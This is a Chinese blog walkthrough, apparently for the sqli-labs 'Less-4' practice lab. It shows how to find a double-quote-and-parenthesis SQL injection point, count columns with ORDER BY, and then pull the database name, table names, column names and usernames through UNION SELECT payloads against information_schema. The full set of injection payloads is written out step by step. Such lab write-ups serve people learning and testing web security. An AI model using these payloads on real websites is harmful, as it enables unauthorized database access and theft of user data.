首页 > 其他 > 详细

Less(4)

时间:2019-12-22 12:38:02      阅读:77      评论:0      收藏:0      [点我收藏+]

1.先判断注入类型

  技术分享图片

 

   (1)首先看到要求,要求传一个ID参数,并且要求是数字型的;?id=1

    技术分享图片

 

   (2)再输入?id=1‘

    技术分享图片

 

     界面无变化

  (3)再输入?id=1‘‘

     技术分享图片

 

     界面还是无变化,注入不是字符型

  (4)再输入?id=1 and 1=1

    技术分享图片

 

     界面正常

  (5)再输入?id=1 and 1=2

    技术分享图片

 

     界面无变化

    根据(4)(5)判断,注入不是数字型

  (6)再输入?id=1"

    技术分享图片

 

     发现报错,报错信息多了一个括号,判断接收到的参数可能为id=("1")

  (7)输入?id=1") --+

    技术分享图片

 

     页面正常,说明我们判断正确

2.对列数进行判断

  (1)输入?id=1") order by 3 --+ 

    技术分享图片

 

      页面正常

  (2)输入?id=1") order by 4 --+

    技术分享图片

 

     页面错误

  (3)判断有3列

3.查看显示位,判断手注位置

  (1)输入?id=-1") union select 1,2,3 --+

    技术分享图片

 

   2,3为显示位,此时可在2,3位置进行手注

4.进行注入

  (1)注当前数据库名:?id=-1") union select 1,database(),3 --+

    技术分享图片

 

   (2)爆注册表。?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" --+

    技术分享图片

 

   (3)注某张表的字段,这里以users为例:?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" --+

    技术分享图片

 

   (4)注字段的值,这里以users表里的username为例:?id=-1") union select 1,group_concat(username),3 from security.users --+

    技术分享图片

Less(4)

原文:https://www.cnblogs.com/meng-yu37/p/12079286.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!